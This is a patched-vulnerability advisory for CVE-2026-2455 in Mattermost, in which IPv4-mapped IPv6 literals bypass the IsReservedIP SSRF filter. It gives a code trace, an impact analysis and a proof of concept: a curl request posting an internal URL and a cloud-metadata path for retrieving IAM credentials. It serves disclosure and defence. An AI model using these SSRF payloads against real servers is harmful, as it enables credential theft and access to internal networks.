winfunc
Back to Hacktivity

Status: Patched

This vulnerability has been verified as resolved and deployed.

Mattermost logo
MattermostMediumCVE-2026-24552026

SSRF bypass via IPv4-mapped IPv6 literals in IsReservedIP (CVE-2026-2455)

Summary

IPv4-mapped IPv6 addresses bypass SSRF protections allowing access to internal network resources

The IsReservedIP helper is responsible for blocking requests to internal addresses before Mattermost performs outbound HTTP(S) fetches (image proxy, link previews, marketplace, SAML metadata, etc.). The function iterates a list of IPv4-only CIDRs to decide whether an IP should be rejected. However, when an attacker supplies the address as an IPv4-mapped IPv6 literal (e.g. [::ffff:127.0.0.1]), Go hands the resolver a 128-bit IPv6 struct, so none of the IPv4 ranges match and the address is treated as public. dialContextFilter therefore allows the connection and Mattermost performs the request, enabling full SSRF into localhost, RFC1918 ranges and cloud metadata endpoints.

Go's net.IPNet.Contains intentionally differentiates between native IPv4 and IPv6 encodings, so simply adding IPv4 CIDRs is insufficient — the data must be canonicalized before comparison. The fix normalizes incoming IPs to their effective address family and adds regression tests.

CVSS Score

VectorN
ComplexityL
PrivilegesN
User InteractionN
ScopeU
ConfidentialityH
IntegrityH
AvailabilityL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Vulnerability Location

SourceLine 622
server/channels/app/post_metadata.go
getLinkMetadata()
SinkLine 30
server/public/shared/httpservice/client.go
IsReservedIP()

Sink-to-Source Analysis

1
server/channels/app/post_metadata.go:622

User-controlled content (post message, slash command) results in Mattermost attempting to fetch remote URLs for OpenGraph/image metadata. The URLs are attacker-controlled.

GO
images := model.ParseSlackLinksToMarkdown(response.EphemeralText)
2
server/channels/app/post_metadata.go:758

Untrusted URL fetches use the default transport with allowIP protections.

GO
client := a.HTTPService().MakeClient(false)
3
server/public/shared/httpservice/httpservice.go:88

The allowIP callback relies on IsReservedIP to reject internal addresses.

GO
allowIP := func(ip net.IP) error { reservedIP := IsReservedIP(ip) ... }
4
server/public/shared/httpservice/client.go:31

IsReservedIP iterates IPv4-only CIDRs. When IP is IPv4-mapped IPv6, Contains never matches, so reservedIP stays false.

GO
if ipRange.Contains(ip) { return true }
5
server/public/shared/httpservice/client.go:159

dialContextFilter ultimately connects to the attacker-specified internal resource because allowIP returned nil.

GO
conn, err := dial(ctx, network, net.JoinHostPort(ip.String(), port))

Impact Analysis

Critical Impact

Any feature that relies on MakeClient(false) becomes exposed. An unauthenticated user can post an image/link referencing http://[::ffff:127.0.0.1]:8065/api/v4/users or http://[::ffff:169.254.169.254]/latest/meta-data/ and trick the server into connecting to its own administrative interfaces or cloud metadata. This leaks authentication tokens, allows bypassing network ACLs and can be escalated to remote code execution depending on reachable services.

Attack Surface

Any feature that relies on MakeClient(false) to automatically protect outbound HTTP(S) requests, including link previews, image proxy, marketplace, and SAML metadata fetches.

Preconditions

No authentication required. The attacker only needs the ability to post a message or trigger a server-side URL fetch with a crafted IPv4-mapped IPv6 URL.

Proof of Concept

Environment Setup

Requirements: Ubuntu 22.04 (any Linux/macOS works).

Install dependencies:

BASH
sudo apt update
sudo apt install -y git golang curl jq

Grab Mattermost source and build:

BASH
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build-server

Run server with defaults:

BASH
./bin/mattermost &
sleep 5

Target Configuration

Default config enables link previews and image proxy. No extra config needed. The HTTP service listens on http://localhost:8065.

Exploit Delivery

Craft a post containing an IPv4-mapped IPv6 URL pointing to localhost:

BASH
curl -i -X POST \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <user_token>' \
  http://localhost:8065/api/v4/posts \
  -d '{
    "channel_id": "<channel_id>",
    "message": "Check this out http://[::ffff:127.0.0.1]:8065/api/v4/system/ping"
  }'

Mattermost's server automatically fetches the URL to build OpenGraph metadata. Because IsReservedIP ignores IPv4-mapped literals, the request goes out.

Observe server log (logs/mattermost.log):

TEXT
... parseOpenGraphMetadata processing failed requestURL="http://[::ffff:127.0.0.1]:8065/api/v4/system/ping" err="..."

Replace the URL with cloud metadata (http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/) to retrieve credentials.

Outcome

By pointing at administrative endpoints or metadata services via IPv4-mapped IPv6 syntax, an unauthenticated attacker can read internal-only Mattermost APIs, fetch AWS/GCP metadata and obtain IAM credentials, and interact with listening services on 127.0.0.1 or RFC1918 addresses behind firewalls. This is a full SSRF bypass that destroys the trust boundary around MakeClient(false).

Expected Response: Server logs confirm the loopback hit succeeded. The server accessed an internal-only address on behalf of the attacker.